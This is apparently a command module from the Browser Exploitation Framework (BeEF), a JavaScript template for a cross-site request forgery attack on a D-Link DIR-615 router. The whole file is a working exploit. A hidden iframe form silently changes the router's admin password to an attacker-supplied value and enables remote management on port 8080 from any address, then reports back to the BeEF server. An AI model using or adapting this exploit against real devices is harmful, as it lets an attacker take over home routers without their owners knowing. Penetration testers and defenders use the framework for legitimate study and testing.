//
// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var gateway = '<%= @base %>'; 
  var passwd  = '<%= @password %>';
  var timeout = 15;

  var dir615_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST", "application/x-www-form-urlencoded",
      [{'type':'hidden', 'name':'ACTION_POST',     'value':'1'} ,
       {'type':'hidden', 'name':'apply',           'value':'Save Settings'},
       {'type':'hidden', 'name':'admin_name',      'value':'admin'},
       {'type':'hidden', 'name':'admin_password1', 'value':passwd},
       {'type':'hidden', 'name':'admin_password2', 'value':passwd},
       {'type':'hidden', 'name':'rt_enable',       'value':'on'},
       {'type':'hidden', 'name':'rt_enable_h',     'value':'1'},
       {'type':'hidden', 'name':'rt_ipaddr',       'value':'0.0.0.0'},
       {'type':'hidden', 'name':'rt_port',         'value':'8080'}
      ]);

  beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

  cleanup = function() {
    document.body.removeChild(dir615_iframe_<%= @command_id %>);
  }
  setTimeout("cleanup()", timeout*1000);

});

